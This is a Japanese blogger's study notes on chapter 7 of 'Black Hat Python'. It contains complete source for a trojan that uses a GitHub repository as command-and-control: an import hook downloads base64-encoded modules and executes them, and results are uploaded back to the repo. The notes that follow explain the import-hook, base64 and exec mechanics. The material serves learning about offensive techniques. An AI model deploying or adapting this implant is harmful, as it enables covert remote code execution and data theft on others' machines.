サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考 7章 勉強まとめ

nnpo.hatenablog.com

6は飛ばして、7章からです。


# -*- coding: utf-8 -*-

import json
import base64
import sys
import time
import types
import random
import threading
import queue
import os

from github3 import login

trojan_id = "abc"

trojan_config = "{}.json".format(trojan_id)
trojan_path = "data/{}/".format(trojan_id)
trojan_modules = []
configured = False
task_queue = queue.Queue()

class GitImporter():
    def __init__(self):
        self.current_module_code = " "

    def find_module(self, fullname, path=None):
        global configured
        if configured:
            print("[*] Attempting to retrieve {}".format(fullname))
            new_library = get_file_contents("modules/{}".format(fullname))

            if new_library is not None:
                self.current_module_code = base64.b64decode(new_library)
                return self

        return None

    def load_module(self, name):
        module = types.ModuleType(name)
        exec(self.current_module_code, module.__dict__)
        sys.modules[name] = module

        return module

def connect_to_github():
    gh = login('username', 'password')
    repo = gh.repository('username', 'BHPchapter7')
    #branch = repo.branch("master")
    branch = 0

    return gh, repo, branch

def get_file_contents(filepath):

    gh, repo, branch = connect_to_github()
    #新しいコミットだけ取り出す
    commit = repo.commits().next()
    tree = repo.tree(commit.sha).recurse()
    for filename in tree.tree:
        if filepath in filename.path:
            print("[*] Found file {}".format(filepath))
            blob = repo.blob(filename._json_data['sha'])
            return blob.content

    return None

def get_trojan_config():
    global configured
    config_json = get_file_contents(trojan_config)
    config      = json.loads(base64.b64decode(config_json).decode())
    configured = True

    for task in config:
        if task['module'] not in sys.modules:
            exec("import {}".format(task['module']))

    return config

def store_module_result(data):

    gh, repo, branch = connect_to_github()
    remote_path = "data/{0}/{1}.data".format(trojan_id, random.randint(1000, 100000))
    repo.create_file(remote_path, "Commit message", base64.b64encode(data))

    return

def module_runner(module):

    task_queue.put(1)
    result = sys.modules[module].run()
    task_queue.get()

    #レポジトリに結果を保存する
    store_module_result(result.encode())

    return

#トロイの木馬のメインループ
sys.meta_path.insert(0, GitImporter())

while True:

    if task_queue.empty():

        config = get_trojan_config()
        for task in config:
            t = threading.Thread(target=module_runner, args=(task['module'],))
            t.start()
            time.sleep(random.randint(1, 10))

    time.sleep(random.randint(1000, 10000))

from github3 import login

本ではこちら

GitHub - copitux/python-github3: Python wrapper for GitHub API v3

が紹介されていましたが、自分の環境では使えませんでした。

調べてみると、github api はいくつかあるみたいです。Libraries | GitHub Developer Guide

今回はこちら

GitHub - sigmavirus24/github3.py: Python library for interfacing with the GitHub APIv3

を使用しました。どれを使うのがメジャーなんだろうか。

github3.py関連で参考にしたページ

class GitImporter()

sys.meta_path.insert(0, GitImporter())

インポートしたいライブラリがローカル環境にない場合(sys.modules に指定されたモジュールが見つからなかったということ)、Python のインポートプロトコルが起動され、モジュールを見つけロードする……らしい。このインポート機構は拡張可能で、今回は独自クラスを作って拡張した。

このインポート機能の仕組みは、インポートフックと呼ばれていて、メタフックとインポートパスフックの2種類があるらしい(今回はメタフック)。

詳しい説明は、

http://t2y.hatenablog.jp/entry/2015/03/11/025123(インポートフックの項目)

http://docs.python.jp/3/reference/import.html#the-meta-path

あたりを読んで納得しました。

ただ、今回扱った「find_module」と「load_module」という書き方はpython3.4以降では推奨されていないみたいです。

とりあえず、このあたりは今後の課題としておきます。

http://docs.python.jp/3/library/importlib.html#module-importlib

http://docs.python.jp/3/library/sys.html#sys.meta_path

http://docs.python.jp/3/reference/import.html#the-import-system

base64.b64decode()

base64.b64encode()

これは、githubとの通信のためにデコード、エンコードしている。

base64に関してはこちら

base64ってなんぞ??理解のために実装してみた - Qiita

が分かりやすかった。

types.ModuleType(name)

nameという空のモジュールを作る。

サンプルコードは、impを用いていたんですが、これはpython3.4以降は撤廃されているみたいです。 36.2. imp — import 内部へのアクセス — Python 3.5.1 ドキュメント

exec(self.current_module_code, module.dict)

exec関数は、第1引数をPython 文として解析して実行する。第2引数で名前空間を指定することによって、引数の文字列が実行される際の個別の環境を指定することができる(デフォルトは現在のスコープ内)。

ここでは、新しく作ったモジュールの中で、githubから受け取ったコードを実行している。

http://docs.python.jp/3/library/functions.html#exec